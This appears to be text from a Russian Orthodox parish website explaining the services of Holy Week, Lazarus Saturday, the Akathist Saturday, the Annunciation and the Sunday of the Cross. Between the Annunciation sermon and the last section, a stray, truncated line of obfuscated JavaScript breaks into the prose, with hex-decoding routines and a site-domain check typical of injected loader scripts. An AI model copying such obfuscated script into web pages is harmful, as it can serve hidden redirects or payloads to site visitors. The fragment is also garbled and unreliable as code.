Страстной седмицей, или Страстной неделей называется последняя неделя перед Пасхой, посвященная воспоминаниям о последних днях земной жизни Спасителя, о Его страданиях, распятии, крестной смерти, погребении. Эта неделя особо чтится Церковью.

Страстная Седмица – это уже не Четыредесятница и, в общем, это даже уже не Великий Пост – это отдельное время.

Все дни Страстной седмицы называются Великими. Каждый день во всех церквях совершаются особые службы. Богослужения Страстной седмицы особо величественны, украшены мудро расположенными пророческими, апостольскими и евангельскими чтениями, возвышеннейшими, вдохновенными песнопениями и целым рядом глубоко знаменательных, благоговейных обрядов.

Понедельник, вторник и среда Страстной седмицы посвящены воспоминанию последних бесед Спасителя с учениками и народом и усиленному приготовлению к страстям Христовым. В соответствии с тем, что Иисус Христос пред страданиями все дни проводил в храме, уча народ, Святая Церковь отличает эти дни особенно продолжительным Богослужением. В эти три дня Евангелие читается на всех службах и прочитываются все четыре Евангелия.

Подготовляя верующих к крестным страданиям Спасителя, Святая Церковь Богослужению первых трех дней Страстной седмицы придает характер печали и сокрушения о нашей греховности. Вечером среды оканчивается великопостное Богослужение, в церковных песнопениях замолкают звуки плача и сетований грешной души человеческой и наступают дни иного плача, пронизывающего все Богослужение, — плача от созерцания ужасающих мучений и крестных страданий Самого Сына Божия.

ВЕЛИКИЙ ПОНЕДЕЛЬНИК

Воспоминается:
— Иосиф, проданный в Египет за двадцать сребреников;
— проклятие бесплодной смоковницы, притча о злых виноградарях; пророчество о разрушении Иерусалима.

Церковь вспоминает ветхозаветного патриарха Иосифа Прекрасного, из зависти проданного братьями в Египет, прообразовавшего страдания Спасителя.

Из событий евангельских Святая Церковь воспоминает иссушение бесплодной смоковницы. Изсохшая смоковница, по словам Евангелия, была для Апостолов знаменательною проповедью о силе веры и молитвы, без которых человек пред Богом духовно мертв. По разуму Святой Церкви, бесплодная смоковница изображает сонмище иудейское, у которого Иисус Христос не нашел истинного плода, а только лицемерную сень закона, которую обличил и проклял; но эта смоковница изображает также и всякую душу, не приносящую плода покаяния.

Утреннее Евангелие назидает нас притчей о неправедных виноградарях, убивших сначала слуг господина своего, присланных за виноградом, а потом и самого сына своего господина. В этой притче, изображающей ожесточение иудеев, избивавших пророков, а с пришествием на землю сына Божия, распявших и Его самого, нельзя не видеть и страшного осуждения христиан, нарушающих заповеди апостольские и святоотеческие и тем продолжающих распинать сына Божия своими прегрешениями. В Евангельском чтении на литургии Святая Церковь напоминает судьбу богоотступного иудейского народа и кончину мира так, как они были предызображены Иисусом Христом. Верующие побуждаются среди зол к великодушию, беспристрастию, терпению, молитве и бдению духовному и утешаются обетованием Спасителя о распространении Евангелия во всем мире и прекращении бедствий «избранных ради» (Мф. 24:14-22).

ВЕЛИКИЙ ВТОРНИК

Воспоминается:
— Притча о десяти девах и талантах;
— Притча пророчество о Страшном суде.

Ночь на вторник Иисус Христос также провел в Вифании, и во вторник утром опять пришел во храм Иерусалимский и много учил во храме и вне храма (Мф. 24:1). Первосвященники и старейшины, слыша притчи Его и понимая, что Он них говорит, старались схватить Его и убить. Но напасть на Него открыто боялись народа, который почитал Его за пророка (Мф. 21:46), был в восхищении от учения Его (Мк. 11:18), слушал Его с услаждением (Мк. 12:37).

На утрени этого дня вспоминаются события, описанные у евангелиста Матфея (22 глава с 15 стиха и 23 глава). Но содержание службы вторника заимствовано из притчи о десяти девах, о талантах и из продолжения положенного в понедельник повествования о втором пришествии Христовом.

Этими воспоминаниями Святая Церковь особенно призывает верующих к духовному бодрствованию, к целесообразному употреблению дарованных нам способностей и сил, особенно на дела милосердия, которые Господь принимает как личную заслугу себе самому, когда говорит о них: «Понеже сотворите единому сих братий Моих меньших, Мне сотвористе» (Мф. 25:40). В песнопениях этого дня Святая Церковь настойчиво внушает нам обязательность духовного бодрствования и религиозно-нравственного совершенствования. Притчею о десяти девах Церковь внушает всегдашнюю готовность к встрече Небесного Жениха целомудрием, милостынею и неотлагательным совершением прочих благих деяний, изображаемых под именем елея, приготовленного мудрыми девами.

ВЕЛИКАЯ СРЕДА

Воспоминается:
— Покаяние грешницы, возлившей миро на ноги Иисуса;
— предательство Иуды.

Этот день — день предания на страдания и смерть Господа и Спаса нашего Иисуса Христа. Ночь на среду Господь провел в Вифании (Мф. 26:6-17). Здесь в доме Симона прокаженного в то время, когда в совете первосвященников, книжников и старейшин было уже решено взять Иисуса Христа хитростью и убить Его, — некая жена «грешница» возлила драгоценное миро на главу Спасителя, и этим приготовившая Христа к погребению. Здесь же Иуда решился предать Христа иудейским старейшинам за 30 сребреников (сумма, достаточная в те времена для приобретения небольшого участка земли даже в окрестностях Иерусалима).

В церковной службе Великой среды прославляется жена «грешница» и порицается и проклинается сребролюбие и предательство Иуды (Мф. 26:6-16).

В Великую среду на литургии Преждеосвященных Даров в последний раз произносится молитва преподобного Ефрема Сирина с тремя великими поклонами. На вечерней службе совершается Таинство Исповеди: в этот день все стараются исповедоваться.

ВЕЛИКИЙ ЧЕТВЕРТОК — ЧИСТЫЙ ЧЕТВЕРГ

Воспоминается:
— Тайная Вечеря,
— Умовение Господом ног ученикам Своим в знак глубочайшего смирения и любви к ним,
— Молитва Спасителя в саду Гефсиманском,
— Предательство Иуды.

В воспоминание событий этого дня после заамвонной молитвы на Литургии в кафедральных соборах при архиерейском служении совершается умилительный обряд умовения ног, который воскрешает в нашей памяти безмерное снисхождение Спасителя, умывшего ноги Своим ученикам пред Тайной вечерей.

Великий Четверг — день установления Господом таинства Евхаристии. Поэтому, по традиции, все православные христиане, по возможности, оставляют все свои дела, чтобы причаститься в это утро Святых Христовых Тайн. А на вечерней службе, все верующие со свечами в руках, стоя в темноте храма, слушают чтение так называемых Двенадцати Евангелий, то есть 12 евангельских отрывков, в которых рассказывается о предательстве Иуды, суде над Христом и Распятии Христа.

ВЕЛИКИЙ ПЯТОК

Воспоминание:

— Святых спасительных Страстей Господа нашего Иисуса Христа.

Православная Церковь в этот великий день все времена священных событий спасения мира ознаменовала богослужением: время взятия Спасителя в саду Гефсиманском и осуждения Его архиереями и старейшинами на страдания и смерть (Мф. 27:1) — богослужением утрени; время ведения Спасителя на суд к Пилату — Богослужением первого часа (Мф. 27:2); время осуждения Господа на суде у Пилата — совершением третьего часа; время крестных страданий Христа — шестым часом; время смерти — девятым часом; а снятие тела Христова со креста вечернею.

Все богослужение этого дня посвящено благоговейному и трогательному воспоминанию спасительных страстей и крестной смерти Богочеловека.

«И, неся крест Свой, Он вышел на место, называемое Лобное, по-еврейски Голгофа; там распяли Его и с Ним двух других, по ту и по другую сторону, а посреди Иисуса. Пилат же написал и надпись, и поставил на кресте. Написано было: Иисус Назорей, Царь Иудейский. Эту надпись читали многие из Иудеев, потому что место, где был распят Иисус, было недалеко от города, и написано было по-еврейски, по-гречески, по-римски. Первосвященники же Иудейские сказали Пилату: не пиши: Царь Иудейский, но что Он говорил: Я Царь Иудейский. Пилат отвечал: что я написал, то написал. Воины же, когда распяли Иисуса, взяли одежды Его и разделили на четыре части, каждому воину по части, и хитон; хитон же был не сшитый, а весь тканый сверху. Итак сказали друг другу: не станем раздирать его, а бросим о нём жребий, чей будет, — да сбудется реченное в Писании: разделили ризы Мои между собою и об одежде Моей бросали жребий. Так поступили воины. При кресте Иисуса стояли Матерь Его и сестра Матери Его, Мария Клеопова, и Мария Магдалина.»

Евангелие от Иоанна, 19:17-25

Утреня Великой пятницы служится в четверг вечером. Главная особенность этой службы — чтение так называемых Двенадцати Евангелий, то есть двенадцати евангельских отрывков, повествующих о страданиях Христовых и помещенных между разными частями службы. При каждом чтении предстоящие зажигают свечи. Это знаменательно указывает на торжество и славу, сопровождавшие Сына Божия и во время крайнего Его уничижения среди поругания и страданий и свидетельствующие о Его высочайшей святости и Божестве.

В Великую Пятницу Литургии не бывает, потому что в этот день Сам Господь принес Себя в жертву, а совершаются Царские Часы.

Вечерня Великой пятницы («Вынос Плащаницы») посвящена погребению Спасителя и совершается обычно в середине дня.

Плащаница находится на середине храма в продолжение 3-х (неполных) дней, напоминая этим трехдневное нахождение Иисуса Христа во гробе.

Это день строгого поста, когда ничего нельзя есть, по крайней мере, до выноса Плащаницы. Это день самого строгого поста в году.

В некоторых церквах после Вечерни, при свечах, как бы от лица Его Матери — читается умилительный и горестный канон «Плач Богородицы».

ВЕЛИКАЯ СУББОТА

Воспоминание:
— Пребывание Господа телом во гробе,
— Сошествие душою во ад,
— Пребывание на Престоле со Отцом и Святым Духом.

Великая суббота — время тишины и покоя, когда совершается тайна божественного воскресения. Церковь воспоминает погребение Иисуса Христа, пребывание Его тела во гробе, сошествие душою во ад для возвещения там победы над смертью и избавления душ, с верою ожидавших Его пришествия, и введение благоразумного разбойника в рай.

Грех Адама искорежил человеческую природу и сделал ее смертной. Смерть — следствие греха. Соответственно, область, в которую попадали души всех умерших, оказалась во власти зла. До сошествия Христа во ад, туда попадали даже души праведных. Воплотившись, Бог исцелил всю человеческую природу, приобщив ее к божественной. Став сопричастником смерти, Он освободил от тления и самую последнюю трагическую область бытия человека. Приняв смерть, Христос, как всякий человек, сошел душой в ад, но, как Бог, разрушил эту твердыню смерти. Сатана, великий обманщик, сам обманулся, не узнав Того, Кто пришел в этот день в его царство.

Утреня Великой субботы обычно служится в пятницу вечером. Она начинается с пения «Бог Господь…», тропаря «Благообразный Иосиф…» и тропарей. Поется погребальное пение. Народ стоит у плащаницы с зажженными свечами. Поется дивный и прекрасный канон Великой субботы «Волной морскою», написанный инокиней Кассией. Последняя песнь Субботнего канона особенно умилительна и любима народом: «Не рыдай Мене, Мати, зрящи во гробу».

После канона, во время пения последующих стихир священник облачается в темные ризы и, с началом великого славословия, еще раз кадит гроб Спасителя. Затем, повторяя «Трисвятую песнь», под колокольный звон народ с зажженными свечами следует за ним, несущим Евангелие и Плащаницу — совершается шествие с плащаницей вокруг храма — чин погребения Спасителя. Торжественная процессия медленно обходит вокруг храма, свидетельствуя, что вся вселенная очищена, избавлена и восстановлена вхождени «Жизни мира» в смерть. Когда народ опять входит в храм, хор еще раз поет тропари и читается пророчество Иезекииля, победные строки псалмов, призывающих Бога восстать, развеять Своих врагов и возрадовать праведных. Многократное пение «Аллилуиа» сопровождает Послание апостола Павла к Коринфянам: «Пасханаша, Христос, заклан за нас». Евангелие о запечатывании гроба читается еще раз, после ектении и благословения. Утреня заканчивается. Службы Великой субботы являются вершиной православной литургической традиции.

В Великую Субботу утром совершается литургия Василия Великого. Во время ее священники переменяют свои темные одежды на светлые. Вместо Херувимской, призывающей к уподоблению ангелам через полное отрешение от земного, поется умилительная песнь «Да молчит всякая плоть человеча», в величавом и строгом тексте которой верующим напоминается, какою ценою куплено их безсмертие.

Днем в храмах освящаются куличи, крашеные яйца, пасхи, мясо — все, что украсит затем изобильный пасхальный праздничный стол.

Вечерня Великой субботы служится вместе с литургией св. Василия Великого. Эта служба принадлежит уже Пасхальному воскресенью.

В ночь на Пасху в храме читаются Деяния апостолов — вся книга должна быть прочитана до 10-го часа вечера. Затем зажигаются все паникадила и ударяют в колокол. Близится святое Воскресение Христово…

Страстная и Пасхальная седмицы образуют центр богослужебного года. Они являются тем временем в жизни Церкви, которое предваряется долгой и серьезной подготовкой — Великим постом. Последняя, 6 седмица Великого поста имеет особое название — “седмица ваий”. Все дни ее от понедельника до пятницы имеют такое определение: “понедельник ваий”, “вторник ваий” и т.д. Эта седмица по своему устроению, по содержанию богослужения оказывается устремленной к Неделе ваий, или к тому празднику, который мы привычно называем“Входом Господним в Иерусалим”.

Богослужение этих дней открывает перед нами важный принцип церковного Устава. Участие в церковном богослужении не является просто воспоминанием прошедших событий или созерцанием богословских идей — все в устроении богослужения направлено на то, чтобы события, воспоминаемые и празднуемые Церковью, были нами пережиты по существу, стали фактом нашей жизни, чтобы мы вошли в ту реальность, в которую Церковь нас стремится ввести. Достигается это разными способами, а в седмицу ваий в течение 5 дней звучат песнопения, которые заставляют нас напряженно ждать событий конца седмицы.

Эта седмица должна привести нас к двум особенным праздникам — субботе Лазаревой и Неделе ваий. В субботу Лазареву празднуется воскрешение праведного Лазаря.Мы помним, что Господь воскресил четырехдневного мертвеца (Ин. 11, 1-45). Он знал, что Лазарь болел и умер, и, тем не менее, словно нарочно медлил и не приходил в Вифанию, хотя дом праведных Марфы и Марии и их брата Лазаря был тем домом, который, по-видимому, Господь часто посещал. И вот, зная о болезни Лазаря, его смерти и погребении, Господь пришел, когда тот уже 4 дня лежал во гробе. Все это переживается и является в богослужении. Упоминания об этом есть в богослужебных текстах уже с первых дней седмицы: “Вчера и днесь болезнь Лазарева, сию бо Христу являют сродницы…” — вчера и сегодня уже болеет Лазарь, и Христос об этом знает, потому что ему сообщили родственники. Таким образом, нас не просто информируют, а вовлекают в ход событий. В среду мы слышим: “Днесь издше Лазарь”, — сегодня умер Лазарь. И наконец: “Днесь Лазарь умерый погребается…” — вот уже полагается во гроб. Таким образом, прослеживаются все этапы, предшествующее этому великому чуду. А мы вместе с сестрами Лазаря находимся в ожидании Господа и недоумеваем, почему же Он не приходит. Эта седмица становится путем, ведущим ко дню воскрешения Лазаря.

Страстную седмицу и предшествующие ей праздники — Неделю ваий и субботу Лазареву — нужно отличать от Великого поста. Святая Четыредесятница — это время подготовки, а Страстная — это уже не пост, а цель поста, то, к чему мы готовились и в чем мы должны, подготовившись и потрудившись в меру своих сил, участвовать. В пяток ваий несколько раз поется такой текст: “Душеполезную совершивше четыредесятницу…”, т.е. уже окончив время св. Четыредесятницы, которая должна была принести пользу душе, “… и Святую седмицу страсти Твоея просим видети, Человеколюбче”. В пятницу на седмице ваий св. Четыредесятница кончается; мы уже стоим в преддверии Страстной седмицы.

В Великом Посту 6 седмиц, но субботы и воскресенья не являются постными днями — не в том смысле, что отменяется телесное воздержание, а в том, что устроение богослужения совсем другое: в субботу и воскресенье совершается полная литургия, совершается Таинство Евхаристии. Что касается еды, то в субботу и воскресенье всегда ослабление поста на елей, и таким образом суббота и воскресенье не входят в число дней св. Четыредесятницы. Итак, 6 седмиц и в каждой по 5 дней, всего получается 30 постных дней, а ведь мы говорим о св. Четыредесятнице. Здесь надо сказать, что идея предпасхального поста существует с древнейших времен и является апостольским установлением, однако исчисление дней св. Четыредесятницы претерпело очень значительные изменения. Так, на Православном Востоке до IX века не было единства в определении периода св. Четыредесятницы. Понятно, почему Четыредесятница носит такое название — ведь свв. Отцы постановили уподобить свой пост посту Господа, Который 40 дней пребывал в пустыне, но вот устроение этого поста оказалось довольно трудным. Предпасхальный период мог состоять как из 7, так и из 8 седмиц: от начала Поста до дня Пасхи могло быть как семь, так и восемь недель. Наша сырная седмица (как мы знаем, заговенье на мясо происходит уже за неделю до поста) отмечена многими чертами великопостного богослужения и является полупостной седмицей. Это и есть остаток того восьминедельного предпасхального поста, который существовал на Востоке. Продолжительность его варьировалась, потому что постоянно стремились привести число дней поста к 40 дням. Но осуществить это в полной мере так и не удалось: это удается лишь ценой некоторых натяжек и выглядит несколько надуманно.

Суббота Лазарева по своему богослужебному устроению является совершенно особенным,ни на что не похожим, днем. Накануне в пятницу, как и во все пятницы Великого поста, совершается литургия Преждеосвященных Даров. Поскольку эта литургия всегда служится на вечерне, начинается вечерней, суббота Лазарева начинается уже в пяток вечера. На приходах Преждеосвященную служат в пятницу с утра, и это уже является началом богослужебного дня Лазаревой субботы. С этого дня отлагается богослужение по Минее до понедельника Фоминой седмицы. Легко понять, что это не является каким-то формальным установлением, а в этом заключено указание на то, что никакое прославление святых сейчас уже неуместно — наступил такой период, когда все сосредоточено на одном, поэтому все богослужение в этот период осуществляется только по Триоди. Исключение составляет праздник Благовещения Пресвятой Богородицы, который обязательно празднуется, на какой бы день Страстной или Светлой седмицы он ни пришелся в этом году.

Суббота Лазарева и следующая за ней Неделя ваий до некоторой степени являются единым праздником: они имеют общий тропарь, посвященный событиям этих двух дней. Кроме того, некоторые части воскресного богослужения, которое невозможно совершать в Неделю ваий, т.к. это Господский двунадесятый праздник, перенесены на субботу.

Итак, утреня, совершаемая в субботу Лазареву, содержит несколько воскресных текстов — тех, которые при обычном порядке богослужения поются только в воскресный день и являются непременной частью воскресного всенощного бдения. Так, после 17 кафизмы поются знакомые воскресные тропари по Непорочнех Ангельский собор удивися. Но что еще более удивительно — в Лазареву субботу поется Воскресение Христово видевше — тот текст, который мы поем только по воскресным дням и в период празднования Пасхи. Суббота Лазарева — это день, когда мы уверяемся во всеобщем воскресении “прежде страстей” Христовых, и еще прежде Его восстания видим Воскресение Христово в воскрешении Лазаря. После пения канона возглашаются стихи “Свят Господь Бог наш” — это текст воскресной службы. Хвалитные стихиры поются на 8, как в неделю, а их Богородичен “Преблагословенна еси, Богородице Дево…” взят из воскресной службы. За предписаниями Устава стоит стремление явить нам содержание события и его истинный смысл. Служба является по сути воскресной, и Лазарева суббота предвосхищает радость Пасхи. Богослужебные тексты недвусмысленно свидетельствуют о воскресном характере богослужения этого дня.

В эксапостиларии этого дня, читаемом на Слава, и ныне, звучат слова ап. Павла (1 Кор. 15, 55), которые мы скоро услышим в ликующем Пасхальном слове Иоанна Златоуста: “Лазарем тя Христос уже разрушает, смерте, и где твоя, аде, победа? Вифании плач ныне на тебе проставляется; вси ветви победы Тому принесем”. Этот текст являет нам единство Лазаревой субботы и Пасхи, Лазаревой субботы и Недели ваий.

Напоминая нам внешнюю канву событий, богослужебные тексты вскрывают их глубинный богословский смысл. Некоторые останавливаются на свидетельстве о двух природах Христа — человеческой и Божественной. Так, синаксарь предваряется такими стихами: “Рыдаеши, Иисусе, сие смертнаго существа; оживляеши друга Твоего, сие божественныя крепости”. То, что Ты, Господи, оплакиваешь Лазаря, проявление “смертного существа”, воскрешение друга — свидетельство Божественной силы.

В день Лазаревой субботы совершается литургия Иоанна Златоуста своим обычным порядком, но поется не Трисвятое, а Елицы во Христа крестистеся. По возгласеИзрядно о Пресвятей… поется задостойник, хотя Типикон о нем умалчивает.

М.С. Красовицкая. Литургика. М., 2003.

Служба субботы пятой седмицы Великого поста носит название  «Похвала Пресвятой Богородицы».

Это удивительно теплый, добрый и радостный праздник, словно первая весть о грядущей Пасхе, о конце Великого поста и начале торжества Воскресения Христова. В этот день Церковь «восписует похвальное пение» Владычице, в память троекратного избавления царствующего града Константинополя от нападения врагов всесильным Ее заступлением (авары — в 626, персы — в 677, арабы — в 717 годах).

Поводом к установлению праздника послужило случившееся нападение на Константинополь неприятельского флота. Когда точно это произошло, сказать затруднительно. Историки расходятся во мнениях, указывая различные даты периода с VI по IX век. Положение православных греков на тот момент было отчаянное. Чувствуя слабость сил своих, греки обратились с молитвой к Богу и Заступнице усердной за род христианский – Божией Матери. Был совершен крестный ход вокруг города, а когда процессия подошла к морю, патриарх погрузил в воду ризу Божией Матери. Море, дотоле тихое и спокойное, вдруг сильно заволновалось, поднялась страшная буря и потопила корабли врагов.

Чудесное спасение Константинополя при помощи Ризы Богоматери

Тогда во всю эту ночь благодарный народ, пребывавший во Влахернском храме, возгласил Защитнице града победную, всенощную и неседальную (акафист — греч. букв. неседальный) песнь: «Взбранной Воеводе победительная, яко избавльшеся от злых, благодарственная восписуем Ти раби Твои, Богородице «. С тех пор постановили ежегодно в этот день, т.е. в субботу 5-й седмицы Великого поста совершать особенно торжественное богослужение в честь Пречистой Девы.

Во Влахернском храме хранилась  чудотворная Влахернская икона Божией Матери, написанная святым евангелистом Лукой, и предметы, связанные с её земной жизнью — риза и пояс.  Император Константин Великий, основатель Константинополя, посвятил его Божией Матери. Он почитал Пресвятую Деву покровительницею своею и своей новой столицы, воздвигнув в Ее честь множество храмов.

Сначала праздник акафиста совершался в Константинополе во Влахернском храме, но позднее праздник был внесен в типиконы (уставы) монастырей святого Саввы Студийского и потом в церковные богослужебные книги, и с того времени сделался общим для всей Восточной Церкви.

Это самый древний Акафист Богородице и он единственный предназначен церковным уставом к богослужению. Акафист написан в половине VII века, по мнению многих, дьяконом великой Константинопольской церкви Георгием Писидийским, и послужил образцом для всех последующих акафистов, написанных в честь Господа, Пресвятой Девы, святых и церковных праздников. Впоследствии Иосиф Студит написал канон в субботу акафиста, а другие прибавили к сему благодарственные молитвы в воспоминание того же всесильного воеводства Божией Матери.

Свое название «Акафист» получил от того, что в ту ночь люди стоявоспевали песнь Матери Бога-Слова; и в то время как на других (службах) по уставу можно сидеть, в настоящий праздник Богоматери мы все слушаем (похвалу) стоя.

Акафист состоит из 24 гимнов, или песней: 12 кондаков и 12 икосов, расположенных сообразно 24 буквам греческой азбуки. Каждая песнь начинается соответствующею ей по счету буквою, каждый кондак оканчивается псаломским «Аллилуия», каждый икос — приветствием архангела «Радуйся…». Основной темой акафиста является Благовещение Пресвятой Богородицы и Воплощение Сына Божия. Считается, что Суббота Акафиста являлась своего рода предпразднством Благовещения Пресвятой Богородицы. Существует другое его название — «Акафист Благовещения», хотя позднее Благовещению будет написан еще один.

На  праздничной утрене весь акафист прочитывается в четыре приема, каждый раз по 3 икоса и 3 кондака. Каждое чтение начинается и заключается пением кондака Взбранной Воеводе. На каждое чтение священнослужители выходят через царские врата на середину храма в облачениях голубого цвета. Существует приходская традиция читать акафист поочередно перед чтимыми богородичными иконами храма.

Икона Похвала Пресвятой Богородицы (Киевская) 

На тему Акафиста написаны иконы «Похвала Богородице», главной темой которых является прославление Девы Марии, ставшей, согласно ветхозаветным пророчествам, матерью воплотившегося Бога. В основу иконографии положены слова песни канона пророкам, составленного в VIII веке константинопольским патриархом Германом: «Свыше пророцы тя предвозвестиша, Отроковице: стамну, жезл, скрижаль, кивот, свещник, трапезу, гору несекомую, златую кадильницу и скинию, дверь непроходимую, палату, и лествицу, и престол Царев». На основе этой песни на иконах изображают следующих ветхозаветных пророков, держащих в руках определённые предметы: Иакова с лестницей, Моисея с Неопалимой Купиной, Валаама со звездой, Гедеона с руном, Иезекииля с вратами, Иеремию со скрижалью, Исаию с клещами и углём, Иессея и Аарона с процветшими жезлами, Давида и Соломона с макетами Иерусалимского Храма, Даниила и Аввакума с горами.

Древнейшей иконой Похвалы Богоматери в России является икона «Похвала Богоматери с Акафистом» из московского Успенского собора, созданная греческим мастером во второй половине XIV века.

 Икона «Похвала Богоматери с Акафистом», XIV век

В день Похвалы в похвальскую субботу Святой князь Александр Невский одержал победу над немецкими рыцарями на льду Чудского озера. Об этом сообщается в летописях, в том году 5 апреля — совпало с днем субботы Похвалы Божией Матери.

В честь Похвалы Божией Матери построены «Похвальские церкви».

 Храм Христа Спасителя и церковь Похвалы Пресвятой Богородицы (1912-1915гг.)

В Богоявленском кафедральном соборе г. Москвы стало благочестивой традицией ежегодно на Похвалу Божией Матери выносить для поклонения чудотворную икону Божией Матери «Умиление», ту самую перед которой молился в своей келье батюшка Серафим. Последний российский император, страстотерпец Николай II, глубоко чтивший преподобного Серафима, пожертвовал на чудотворный образ Божией Матери золотой оклад, украшенный драгоценными камнями, работы знаменитого ювелира Фаберже. В годы гонения на Церковь она была сохранена верующими, а ныне находится в Патриаршей ризнице.

Какое же значение имеет в духовной жизни православного христианина Похвала Божией Матери?

Благочестивые христиане проводят время поста в молитвенных подвигах воздержания и борьбы с своими страстями и похотями, с искушениями дьявола. Нетрудно в столь продолжительное время пасть духом, изнемочь телом. И вот Святая Церковь, желая поддержать своих верных чад, напоминает им о чудной помощи и предстательстве за нас грешных Божией Матери.

Песнопения Субботы Акафиста 

Тропарь, глас 8: Повеленное тайно прием в разуме, в крове Иосифове тщанием предста безплотный, глаголя Неискусобрачней: Приклонивый схождением небеса, вмещается неизменно весь в Тя. Егоже и видя в ложеснах Твоих приемша рабий зрак, ужасаюся звати Тебе: радуйся Невесто Неневестная.

Перевод: Уразумев таинственный смысл повеления Божия, поспешно явился бесплотный [Архангел] в доме Иосифа и сказал Непознавшей брака: “Приклонивший [Своим] сошествием небеса, не изменяясь, весь вмещается в Тебя. И видя Его в Твоих недрах принявшим вид раба, я в изумлении восклицаю: радуйся, Дева, в брак не вступившая»! 

Кондак, глас 8: Взбранной Воеводе победительная, яко избавльшеся от злых, благодарственная восписуем Ти раби Твои Богородице: но яко имущая державу непобедимую, от всяких нас бед свободи, да зовем Ти: Радуйся Невесто Неневестная.

Перевод: Тебе, высшей Военачальнице, избавившись от бед, мы, недостойные рабы Твои, Богородица, воспеваем победную и благодарственную песнь. Ты же, как имеющая силу непобедимую, освобождай нас от всяких бед, чтобы мы взывали к Тебе радуйся (древнее приветствие, нынешнее «здравствуй»), Невеста, в брак не вступившая!

До 14 лет Пресвятая Дева воспитывалась в храме, а затем, по закону, должна была оставить храм, как достигшая совершеннолетия, и либо возвращаться к родителям, либо выйти замуж. Священники хотели выдать Ее замуж, но Мария объявила им о своем обещании Богу — остаться навсегда Девою. Тогда священники обручили Ее дальнему родственнику, восьмидесятилетнему старцу Иосифу, чтобы он заботился о Ней и охранял Ее девство. Живя в Галилейском городе Назарете, в доме Иосифа, Пресвятая Дева Мария вела такую же скромную и уединенную жизнь, как и при храме.

Спустя четыре месяца по обручении, Ангел явился Марии, когда Она читала Священное Писание и, войдя к Ней, сказал: «радуйся Благодатная! (то есть исполненная благодати Божией — даров Святого Духа). Господь с Тобою! Благословенна Ты между женами».  Архангел Гавриил возвестил Ей, что Она обрела величайшую благодать у Бога — быть Материю Сына Божия.

Мария в недоумении спросила Ангела, как может родиться сын у той, которая не знает мужа. И тогда Архангел открыл Ей истину, которую он принес от Всемогущего Бога: «Дух Святый найдет на Тебя, и сила Всевышнего осенит Тебя; посему и рождаемое Святое наречется Сыном Божиим». Постигнув волю Божию и всецело предавая Себя ей, Пресвятая Дева отвечала: «Се, раба Господня; да будет Мне по слову твоему».

«То событие, которое именуется «Благовещение», означает зачатие Иисуса Христа, – напоминает профессор богословия диакон Андрей Кураев. –  Действием благодати Божией в лоне Марии началось развитие новой человеческой жизни. Не от Бога-Отца зачала Мария, не от Архангела Гавриила и не от своего нареченного мужа Иосифа. Циничные «физиологические» аргументы лучше оставить при себе — христиане не хуже скептиков знают законы биологии, а потому и говорят о Чуде. И чудо состоит не столько в том, что Дева, не знавшая мужа, стала вынашивать ребенка, но что Сам Бог отождествил Себя с этим ребенком и со всем, что произойдет в Его жизни.Бог не просто вселяется в Деву. Через архангела Гавриила Он (Вседержитель, Владыка и Господь) смиренно просит согласия отроковицы. И лишь когда Он слышит человеческое согласие. Да будет мне по слову Твоему», — лишь тогда Слово становится плотью.

Так начинается евангельская история. Впереди — Рождество и бегство в Египет, искушения в пустыне и исцеления одержимых, Тайная Вечеря и арест, Распятие и Воскресение…».

Благовещение. Китайская икона, XVIII век

Смысл праздника Благовещение Пресвятой Богородицы

Митрополит Сурожский Антоний:

“Благовещение – это день благой вести о том, что нашлась во всем мире людском Дева, так верующая Богу, так глубоко способная к послушанию и к доверию, что от Нее может родиться Сын Божий. Воплощение Сына Божия, с одной стороны, дело Божией любви – крестной, ласковой, спасающей – и Божией силы; но вместе с этим воплощение Сына Божия есть дело человеческой свободы. Св. Григорий Палама говорит, что Воплощение было бы так же невозможно без свободного человеческого согласия Божией Матери, как оно было бы невозможно без творческой воли Божией. И в этот день Благовещения мы в Божией Матери созерцаем Деву, Которая всем сердцем, всем умом, всей душой, всей Своей крепостью сумела довериться Богу до конца.

А благая весть была поистине страшная: явление Ангела, это приветствие: Благословенна Ты в женах, и благословен плод чрева Твоего, не могли не вызвать не только изумления, не только трепета, но и страха в душе девы, не знавшей мужа, – как это могло быть?..

И тут мы улавливаем разницу между колеблющейся – хотя и глубокой – верой Захарии, отца Предтечи, и верой Божией Матери. Захарии тоже возвещено, что у его жены родится сын – естественным образом, несмотря на ее преклонный возраст; и его ответ на эту весть Божию: Как же это может быть? Этого не может случиться! Чем Ты можешь это доказать? Какое заверение Ты мне можешь дать?.. Божия Матерь ставит вопрос только так: Как это может случиться со мной – я же дева?.. И на ответ Ангела, что это будет, Она отвечает только словами полной отдачи Себя в руки Божии; Ее слова: Се, Раба Господня; буди Мне по глаголу твоему…

Слово “раба” в теперешнем нашем словоупотреблении говорит о порабощенности; в славянском языке рабом называл себя человек, который свою жизнь, свою волю отдал другому. И Она действительно отдала Богу Свою жизнь, Свою волю, Свою судьбу, приняв верой – то есть непостижимым доверием – весть о том, что Она будет Матерью воплощенного Сына Божия. О Ней праведная Елизавета говорит: Блаженна веровавшая, ибо будет Ей реченное Ей от Господа…

В Божией Матери мы находим изумительную способность довериться Богу до конца; но способность эта не природная, не естественная: такую веру можно в себе выковать подвигом чистоты сердца, подвигом любви к Богу. Подвигом, ибо отцы говорят: Пролей кровь, и примешь Дух… Один из западных писателей говорит, что Воплощение стало возможным, когда нашлась Дева израильская, Которая всей мыслью, всем сердцем, всей жизнью Своей смогла произнести Имя Божие так, что Оно стало плотью в Ней.

Вот благовестие, которое мы сейчас слышали в Евангелии: род человеческий родил, принес Богу в дар Деву, Которая была способна в Своей царственной человеческой свободе стать Матерью Сына Божия, свободно отдавшего Себя для спасения мира. Аминь”.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "paraskeva.cerkov.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Воскресенье третьей недели Великого поста в Православной Церкви носит название Крестопоклонной недели.

В cубботу вечером на всенощном бдении в центр храма торжественно выносится Животворящий Крест Господень – напоминание о приближающейся Страстной Седмице и Пасхе Христовой. После этого священники и прихожане храма совершают перед крестом три поклона. При поклонении Кресту Церковь поет: “Кресту Твоему покланяемся, Владыко, и святое воскресение Твое славим”. Это песнопение поется и на Литургии вместо Трисвятого.

Крест выносится верующим для того, чтобы напоминанием о страданиях и смерти Господней воодушевить и укрепить постящихся к продолжению подвига поста.

